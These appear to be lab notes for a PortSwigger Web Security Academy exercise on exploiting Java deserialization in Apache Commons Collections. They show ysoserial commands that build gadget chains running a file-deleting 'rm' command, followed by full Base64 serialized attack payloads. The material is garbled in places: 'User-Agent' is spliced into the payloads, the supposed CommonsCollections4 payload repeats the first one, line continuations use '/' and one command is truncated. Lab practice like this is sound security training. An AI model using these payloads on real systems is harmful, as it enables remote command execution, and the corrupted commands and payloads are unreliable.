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# Java Deserialization with Apache Commons
Java Deserialization with Apache Commons notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting Java Deserialization with Apache Commons
This lab uses a session mechanism based on Java\*\* serialization and loads the **Apache Commons Collections** library. / Even without access to the source code, vulnerability can be exploited by using \*\* pre-built gadgets\*\*.
\*\* Target:\*\*/ Inject a malicious serialized Java object to execute a remote command and delete the file:
```bash
/home/carlos/morale.txt
```
**Credentials provided:**
* `wiener:peter`
#### Analysis of the Session
After authentication, the session is stored in a Java\*\* serialised \*\*cookie, encoded in Base64, for example:
{% code overflow="wrap" %}
```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACB3dnc2c3cwdWs5bmtlc3FlcWRmMTQ4YnhvMW0yMHJsMXQABndpZW5lcg%3d%3d
```
{% endcode %}
The `rO0AB` prefix confirms that it is a serialized Java object.
#### Tool Used: Yesserial
To generate a malicious deserialization payload, we use the third-party tool **ysserial**.
**Environmental preparation**
The lab requires a compatible version of Java (here Java 11):
```bash
java -version
update-alternatives --set java /usr/lib/jvm/java-11-openjdk-amd64/bin/java
```
#### Generating Malicious Payload
Start by testing an Apache Commons gadget chain:
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections1 'rm /home/carlos/morale.txt'
```
The command runs correctly on the local side, but the payload injected into the application causes an error.
Final generation of payload and encoding in Base64:
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections1 'rm /home/carlos/morale.txt'| base64 -w 0 ; echo
```
{% code overflow="wrap" %}
```bash
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAUser-AgentwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB%2bAABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAUser-AgentwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2bj%2fa3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2bAB5zcQB%2bABZ1cQB%2bABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB%2bAB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAG3JtICAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB%2bAB4AAAABcQB%2bACNzcQB%2bABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAUser-AgentkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcUser-AgentH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
```
{% endcode %}
#### Adapting the Gadgets Chain
After several tests, the correct chain for this lab is:
Final generation of payload and encoding in Base64:
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 ; ech
```
{% code overflow="wrap" %}
```bash
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAUser-AgentwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAUser-AgentwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAG3JtICAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB+AB4AAAABcQB+ACNzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAUser-AgentkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcUser-AgentH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
```
{% endcode %}
---
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